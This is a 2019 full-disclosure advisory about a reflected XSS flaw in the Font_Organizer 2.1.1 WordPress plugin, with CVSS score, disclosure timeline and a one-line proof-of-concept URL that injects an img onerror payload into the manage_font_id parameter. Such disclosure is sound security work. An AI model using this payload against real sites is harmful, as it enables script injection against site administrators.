full-disclosure - [FD] Font_Organizer 2.1.1

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Message-ID: <bbe9b576-eacb-32bb-9f11-dae4331e64c4@gmail.com>
Date: Tue, 5 Feb 2019 16:26:09 +0100
From: Tim Coen <tc.coen@...il.com>
To: fulldisclosure@...lists.org
Subject: [FD] Font_Organizer 2.1.1 - Reflected XSS (WordPress Plugin)

  * Vulnerability: XSS
  * Affected Software:
[Font_Organizer](https://wordpress.org/plugins/font-organizer/)
  * Affected Version: 2.1.1
  * Patched Version: none
  * CVE: not requested
  * Risk: Medium
  * Vendor Contacted: 10/25/2018
  * Vendor Fix: none
  * Public Disclosure: 02/05/2019
  * Credit: Tim Coen

##### CVSS

6.1 Medium
[CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N](https://www.first.org/cvss/calculator/3.0#CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N)

##### Overview

The Font_Organizer WordPress plugin is vulnerable to reflected XSS as it
echoes the manage_font_id parameter without proper encoding.

##### Proof of Concept

http://192.168.0.103/wordpress/wp-admin/options-general.php?manage_font_id='"><img
src=x onerror=alert(1)>&page=font-setting-admin

##### Timeline

- 10/25/2018 Sent advisory (no response)
- 02/05/2019 Disclosure

##### Details & Full Advisory URL

https://security-consulting.icu/blog/2019/02/wordpress-font-organizer-xss/

-- 
PGP Key: https://pgp.mit.edu/pks/lookup?op=get&search=0x204DCBDD29BA0D89

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